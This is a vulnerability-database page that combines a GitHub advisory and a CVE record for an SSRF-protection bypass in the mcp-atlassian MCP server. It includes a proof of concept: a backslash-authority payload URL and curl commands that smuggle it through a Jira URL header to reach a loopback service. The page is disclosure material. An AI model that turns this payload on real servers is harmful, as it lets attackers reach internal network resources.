Vulnerability-Lookup

GHSA-HGCF-4MQ8-5266

Vulnerability from github – Published: 2026-09-22 20:36 – Updated: 2026-09-22 20:36

Summary

MCP Atlassian: SSRF Protection Bypass

Details

Environment

Project: sooperset/mcp-atlassian
Affected function: validate_url_for_ssrf()
Affected path: header-based Jira/Confluence URL authentication flow
Tested endpoint: POST /mcp
Tested version: 2.14.5

Description

The SSRF protection in validate_url_for_ssrf() can be bypassed with a URL containing a backslash before userinfo-like syntax.

Affected code:

parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)

Payload:

http://127.0.0.1:6666\@www.baidu.com

For this input, urllib.parse.urlparse() treats the hostname as:

www.baidu.com

Therefore, validate_url_for_ssrf() validates www.baidu.com instead of 127.0.0.1. However, the downstream request made through the Atlassian client / requests.Session reaches the local service:

http://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself

This allows an attacker-controlled Jira URL to target loopback or internal services.

Proof of Concept

Start a local HTTP server:

python3 -m http.server 6666 --bind 127.0.0.1

Start mcp-atlassian with streamable HTTP transport on port 9000.

Initialize an MCP session with the malicious Jira URL:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}'

Send the initialized notification using the returned Mcp-Session-Id:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'mcp-session-id: <SESSION_ID>' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","method":"notifications/initialized"}'

Trigger Jira fetcher creation and token validation:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'mcp-session-id: <SESSION_ID>' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}'

Observed response:

The local HTTP server also receives the request, confirming SSRF.

Root Cause

The security validation and the actual HTTP request do not use the same URL interpretation.

validate_url_for_ssrf() uses urllib.parse.urlparse() and validates parsed.hostname.
For the payload, parsed.hostname is www.baidu.com.
The actual request is sent by the Atlassian client through requests.Session.
requests treats the target as 127.0.0.1:6666 and percent-encodes the backslash into the request path.

This parser mismatch allows a restricted host to be hidden before \@.

Impact

An attacker who can provide X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url may force the server to send requests to loopback or internal services despite SSRF validation.

Severity

8.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77274"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:36:22Z",
    "nvd_published_at": "2026-09-22T18:17:19Z",
    "severity": "HIGH"
  },
  "details": "## Environment\n\n- Project: `sooperset/mcp-atlassian`\n- Affected function: `validate_url_for_ssrf()`\n- Affected path: header-based Jira/Confluence URL authentication flow\n- Tested endpoint: `POST /mcp`\n- Tested version: `2.14.5`\n\n## Description\n\nThe SSRF protection in `validate_url_for_ssrf()` can be bypassed with a URL containing a backslash before userinfo-like syntax.\n\nAffected code:\n\n```python\nparsed = urlparse(url)\nhostname = parsed.hostname\n...\nip_error = _check_ip_address(hostname)\n...\ndns_error = _check_dns_resolution(hostname)\n```\n\nPayload:\n\n```text\nhttp://127.0.0.1:6666\\@www.baidu.com\n```\n\nFor this input, `urllib.parse.urlparse()` treats the hostname as:\n\n```text\nwww.baidu.com\n```\n\nTherefore, `validate_url_for_ssrf()` validates `www.baidu.com` instead of `127.0.0.1`. However, the downstream request made through the Atlassian client / `requests.Session` reaches the local service:\n\n```text\nhttp://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself\n```\n\nThis allows an attacker-controlled Jira URL to target loopback or internal services.\n\n## Proof of Concept\n\nStart a local HTTP server:\n\n```bash\npython3 -m http.server 6666 --bind 127.0.0.1\n```\n\nStart `mcp-atlassian` with streamable HTTP transport on port `9000`.\n\nInitialize an MCP session with the malicious Jira URL:\n\n```bash\ncurl -i http://127.0.0.1:9000/mcp \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Accept: application/json, text/event-stream\u0027 \\\n  -H \u0027X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com\u0027 \\\n  -H \u0027X-Atlassian-Jira-Personal-Token: dummy-token\u0027 \\\n  --data \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-06-18\",\"capabilities\":{},\"clientInfo\":{\"name\":\"ssrf-test\",\"version\":\"0.1\"}}}\u0027\n```\n\nSend the initialized notification using the returned `Mcp-Session-Id`:\n\n```bash\ncurl -i http://127.0.0.1:9000/mcp \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Accept: application/json, text/event-stream\u0027 \\\n  -H \u0027mcp-session-id: \u003cSESSION_ID\u003e\u0027 \\\n  -H \u0027X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com\u0027 \\\n  -H \u0027X-Atlassian-Jira-Personal-Token: dummy-token\u0027 \\\n  --data \u0027{\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\"}\u0027\n```\n\nTrigger Jira fetcher creation and token validation:\n\n```bash\ncurl -i http://127.0.0.1:9000/mcp \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Accept: application/json, text/event-stream\u0027 \\\n  -H \u0027mcp-session-id: \u003cSESSION_ID\u003e\u0027 \\\n  -H \u0027X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com\u0027 \\\n  -H \u0027X-Atlassian-Jira-Personal-Token: dummy-token\u0027 \\\n  --data \u0027{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"jira_get_issue\",\"arguments\":{\"issue_key\":\"TEST-1\"}}}\u0027\n```\n\nObserved response:\n\n\u003cimg width=\"1505\" height=\"442\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f98a2ad6-8bc2-453c-9ef8-481dd991bc8e\" /\u003e\n\nThe local HTTP server also receives the request, confirming SSRF.\n\n\u003cimg width=\"891\" height=\"131\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3bbeb142-2aae-4d1d-ae65-7f57015325c6\" /\u003e\n\n## Root Cause\n\nThe security validation and the actual HTTP request do not use the same URL interpretation.\n\n- `validate_url_for_ssrf()` uses `urllib.parse.urlparse()` and validates `parsed.hostname`.\n- For the payload, `parsed.hostname` is `www.baidu.com`.\n- The actual request is sent by the Atlassian client through `requests.Session`.\n- `requests` treats the target as `127.0.0.1:6666` and percent-encodes the backslash into the request path.\n\nThis parser mismatch allows a restricted host to be hidden before `\\@`.\n\n## Impact\n\nAn attacker who can provide `X-Atlassian-Jira-Url` or `X-Atlassian-Confluence-Url` may force the server to send requests to loopback or internal services despite SSRF validation.",
  "id": "GHSA-hgcf-4mq8-5266",
  "modified": "2026-09-22T20:36:22Z",
  "published": "2026-09-22T20:36:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77274"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MCP Atlassian: SSRF Protection Bypass"
}

CVE-2026-77274 (GCVE-0-2026-77274)

Vulnerability from cvelistv5 – Published: 2026-09-22 17:36 – Updated: 2026-09-22 18:32

Title

MCP Atlassian: SSRF Protection Bypass

Summary

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname while the HTTP client connects to an internal host, permitting server-side requests to protected network resources. This issue is fixed in version 0.22.0.

Severity

8.8 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-22 18:31 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/sooperset/mcp-atlassian/securi…	x_refsource_CONFIRM
https://github.com/sooperset/mcp-atlassian/pull/1448	x_refsource_MISC
https://github.com/sooperset/mcp-atlassian/commit…	x_refsource_MISC
https://github.com/sooperset/mcp-atlassian/releas…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
sooperset	mcp-atlassian	Affected: < 0.22.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-77274",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-22T18:31:53.866509Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-22T18:32:22.319Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "mcp-atlassian",
          "vendor": "sooperset",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.22.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname while the HTTP client connects to an internal host, permitting server-side requests to protected network resources. This issue is fixed in version 0.22.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "LOW"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-22T17:36:49.833Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266"
        },
        {
          "name": "https://github.com/sooperset/mcp-atlassian/pull/1448",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
        },
        {
          "name": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
        },
        {
          "name": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
        }
      ],
      "source": {
        "advisory": "GHSA-hgcf-4mq8-5266",
        "discovery": "UNKNOWN"
      },
      "title": "MCP Atlassian: SSRF Protection Bypass"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-77274",
    "datePublished": "2026-09-22T17:36:49.833Z",
    "dateReserved": "2026-08-20T19:14:21.330Z",
    "dateUpdated": "2026-09-22T18:32:22.319Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted